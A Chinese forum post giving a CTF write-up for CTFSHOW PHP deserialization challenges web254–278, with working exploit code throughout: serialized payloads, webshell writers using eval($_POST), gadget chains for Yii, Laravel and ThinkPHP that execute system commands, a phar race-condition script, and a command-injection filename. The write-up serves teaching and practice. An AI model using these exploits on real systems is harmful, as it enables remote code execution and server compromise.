首页
社区
课程
招聘
[原创]CTFSHOW反序列化WP
2021-9-26 22:39 7762

[原创]CTFSHOW反序列化WP

2021-9-26 22:39
7762

web254

直接传payload就行

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
highlight_file(__FILE__);
include('flag.php');
 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
 
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);   
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

cookie传入序列化的值

 

需要isVip=true

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

添加cookie后

 

传入username=1&password=2即可

web256

需要usernamepassword不同
= =看一下255的wp就行

 

其他都一样

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
error_reporting(0);
highlight_file(__FILE__);
 
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
 
}
 
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

看到了

1
2
3
4
5
6
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

有命令执行

 

并且code参数可控

 

构造序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class ctfShowUser{
    private $username='1';
    private $password='2';
    private $isVip=true;
    private $class;
 
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="system('whoami');";
}
 
$c=new ctfShowUser();
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode(serialize($c));

尝试可不可以rce

 

可以

 

执行cat flag.php

 

cat 不可以 替换成 tac试试

 

web258

加了过滤

 

索性加一个shell在exp里方便调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
    public $class;
 
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='eval($_POST[1]);';
}
 
$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode($b);

 

web260

只要有ctfshow_i_love_36D即可

 

所以直接传

 

或者随便序列化一个

1
2
/?ctfshow=O:3:"exp":1:{s:1:"p";s:18:"ctfshow_i_love_36D";}
/?ctfshow=ctfshow_i_love_36D

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u,$p){ //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){ //unserialize()时会被自动调用
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){  //当尝试以调用函数的方法调用一个对象时,会被自动调用
        eval($this->code);
    }
    public function __sleep(){ //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){ //析构函数当对象被销毁时会被自动调用
        if($this->code==0x36d){ //0x36d=877
            file_put_contents($this->username, $this->password); //file_put_contents
        }
    }
}
unserialize($_GET['vip']);

首先找一下危险函数

 

file_put_contents可以写入文件,我们可以利用这里写一个shell

 

可以利用的魔术方法__invoke()__destruct()

1
2
3
4
public function __destruct(){ //析构函数当对象被销毁时会被自动调用
     if($this->code==0x36d){ //0x36d=877
        file_put_contents($this->username, $this->password); //file_put_contents
  }

存在弱比较$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877

 

我们可以用877.php绕过(其实877a其他也可以,但是我们为了写shell)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
 
class ctfshowvip{
    public $username='877.php';
    public $password='<?php eval($_POST[H3]);?>';
    public $code=0x36d;
 
    public function __invoke(){
        eval($this->code);
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$c=new ctfshowvip();
echo serialize($c);

我们可以本地复现一下,看一下数据流向,更有利于学习

 

 

get获取反序列化的值

 

 

__unserialize()方法依次赋值,然后code对usernamepassword拼接

 

 

然后跳到__destruct()方法

 

 

这里可以看到成功绕过(弱比较),并且username作为文件名,password作为文件内容

 

 

这里看到生成了shell文件

 

 

整个过程完毕成功写入shell

web262

看起来像字符串逃逸

 

但是我发现了message.php

 

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
highlight_file(__FILE__);
include('flag.php');
 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这就简洁明了了

 

看这里足够

1
2
3
4
5
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

只要tokenadmin即可

 

所以exp:

1
2
3
4
5
6
7
8
9
<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
}
$m=new message();
echo base64_encode(serialize($m));

然后在message.php中添加cookie值即可

 

 

回过去看

 

我们来研究一下字符逃逸

 

因为这里

1
$umsg = str_replace('fuck', 'loveU', serialize($msg));

字符长度不一致,所以导致了字符逃逸

 

所以我们在t这个位置构造逃逸即可

 

我们先拿到正常的序列化的结果

 

1
";s:5:"token";s:5:"admin";}

长度为27,也就需要24个fuck

 

payload:

1
/?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可

web263

emmmm 看了半天没发现什么

 

扫到了www.zip

 

看了一下源码是session反序列化

1
ini_set('session.serialize_handler', 'php');

所以思路就清晰了

 

利用session反序列化写一个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
1
2
3
function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }

这里存在file_put_contents可以写入文件,可以在魔术方法写入webshell(username为文件名,password可以放入shell)

 

exp:(字符串换行有问题,所以在shell后加一个探针验证)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
 
}
 
$a =  new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo base64_encode("|".serialize($a));

 

在这里写入cookie

 

然后访问check.php

 

 

这里报错不用管他

 

访问log-1.php

 

 

可以看到写入shell成功

 

具体知识点可以看一下php反序列化漏洞基础

 

然后蚁剑或者直接执行命令都行

 

 

 

打完收工

web264

emmm

 

看这里

1
2
3
4
5
6
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

在这里写入session

 

所以我们只能用字符逃逸

 

web262的payload即可

1
/?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php

 

web265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
 
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
 
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
 
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
 
if($ctfshow->login()){
    echo $flag;
}

看了一下

1
$ctfshow->token=md5(mt_rand());

不可能

 

所以应该是绕过这里的判断

1
2
3
public function login(){
    return $this->token===$this->password;
}

我们可以在

1
$this->password = $p;

加一个引用到token,这样password就等于随机数了(引用的是地址,所以会相等)

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshowAdmin{
    public $token;
    public $password;
 
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a = new ctfshowAdmin('123','123');
echo serialize($a);

payload:

1
O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"123";s:8:"password";R:2;}

web266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

很明显,绕过报错执行__destruct()方法

 

想办法让__destruct()方法执行

可以利用破环序列化,但是不破坏类名,这样它虽然会抛出异常

但是还是会正常的执行摧毁方法

1
O:7:"ctfshow":2:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";}

修改为

1
O:7:"ctfshow":2:{I_am_H3}

= =不知道为啥直接提交没用

 

看了其他师傅的wp需要bp抓包提交

 

web267

emmm

 

找了半天没发现东东

 

所以看一下是什么框架

 

 

yii框架

 

想到了yii反序列化漏洞

 

找一下入口

 

 

访问一下

 

找到了入口

 

 

直接exp贴上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
 
namespace yii\rest {
    class CreateAction
    {
        public $checkAccess;
        public $id;
 
        public function __construct()
        {
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php ";
        }
    }
}
 
namespace Faker {
 
    use yii\rest\CreateAction;
 
    class Generator
    {
        protected $formatters;
 
        public function __construct()
        {
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db {
 
    use Faker\Generator;
 
    class BatchQueryResult
    {
        private $_dataReader;
 
        public function __construct()
        {
            $this->_dataReader = new Generator;
        }
    }
}
 
namespace {
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

省略了中间找路径的步骤,需要外带太麻烦了

 

访问1.php

 

 

shell写入成功

 

 

成功拿到flag

web268

换一个链子罢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php ");
    echo(base64_encode(serialize($exp)));
}

web269

上一条链子直接通

 

web270

乌鱼子还是上道题的链子

 

 

##web271

 

Laravel5.7反序列化漏洞

https://blog.csdn.net/zhangchensong168/article/details/104695593/

 

用exp直接打就行(后续会分析利用链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
 
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
 
        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}
 
namespace Faker {
    class DefaultGenerator
    {
        protected $default;
 
        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
 
namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];
 
        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}
 
namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
 
    $app = new Illuminate\Foundation\Application();
 
    $application = new Illuminate\Foundation\Application($app);
 
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));
 
    echo urlencode(serialize($pendingcommand));
}

image-20210916225102583

web272-273

Laravel5.8反序列化漏洞

 

这道题是另一个链子

 

flag在phpinfo里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
namespace Illuminate\Broadcasting{
 
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
 
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
 
    use Mockery\Generator\MockDefinition;
 
    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{
 
    use Mockery\Loader\EvalLoader;
 
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {
 
    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php eval(\$_POST[h3]);phpinfo();exit()?>"; //此处是PHP代码
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
        protected $name="feng";
    }
}
 
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}

 

web274

ThinkPHP5.1反序列化漏洞

 

找一下入口

 

 

然后去用exp生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["ctf","show"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system"; //PHP函数
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin']; //PHP函数的参数
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 
 
namespace think\process\pipes;
 
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
1
/?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6MzoiY3RmIjtpOjE7czo0OiJzaG93Ijt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MzoibGluIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjk7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czozOiJsaW4iO319fX19fQ==&lin=cat /flag

web275

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
 
 
highlight_file(__FILE__);
 
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
 
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
 
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
 
}else{
    echo 'where is flag?';
}

找一下可控的点

1
2
3
4
5
public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }

filename可控是get获取fn

 

但是得让

1
2
3
4
5
6
7
8
9
public function checkevil(){
    if(preg_match('/php|\.\./i', $this->filename)){
        $this->evilfile=true;
    }
    if(preg_match('/flag/i', $this->filecontent)){
        $this->evilfile=true;
    }
    return $this->evilfile;
}

true

 

也就是说需要先传fn=php或者fn=flag

 

再拼接rce

 

 

web276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
 
 
highlight_file(__FILE__);
 
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;
 
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}
 
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
 
}else{
    echo 'where is flag?';
}

看源码,没有可以执行反序列化的点

 

而且admin变量不可控恒为false

1
2
3
4
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

所以我们往下看

1
2
3
4
5
6
if($f->checkevil()===false){
    file_put_contents($_GET['fn'], $content);
    copy($_GET['fn'],md5(mt_rand()).'.txt');
    unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
    echo 'work done';
}

在这里存在一个写入和删除的周期,我们可以尝试竞争

 

如果unlink删除方法是phar协议的话,即可满足条件

 

我们可以先生成一个phar文件

 

利用模板即可,把想要执行的命令以及admin赋值为true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
 
    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent='';
    }
}
$phar= new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");//设置stub,添加gif文件头
$o=new filter();
$phar->setMetadata($o);//将自定义meat-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();
?>

但是因为有限制,我们要利用通配符?绕过限制

 

然后用python写脚本竞争上传和读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import threading
success=False
#读取phar包内容
def getPhar(phar):
    with open(phar,'rb') as p:
        return p.read()
#写入phar包内容
def writePhar(url,data):
    print("[-]writing")
    requests.post(url,data)
#触发unlink的phar反序列化
def unlinkPhar(url,data):
    global success
    res = requests.post(url,data)
    if 'ctfshow' in res.text and success is False:
        print("[*]Over!")
        print(res.text)
        success = True
def main():
    global success
    url= 'http://03b133ba-e6be-402c-aaee-76d4355de211.challenge.ctf.show:8080/'
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(1)
        w= threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
        u= threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test','1'))
        w.start()
        u.start()
if __name__ == '__main__':
    main()

执行一下

 

就能看到我们的做法是正确的

 

 

在执行unlink方法删除之前读取,即可拿到rce的结果,进而拿到flag

web277-278

看源码

 

 

可以确定是python的反序列化

https://www.cnblogs.com/abobo/p/8080447.html

 

需要弹shell
后续我会单独写这一块


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回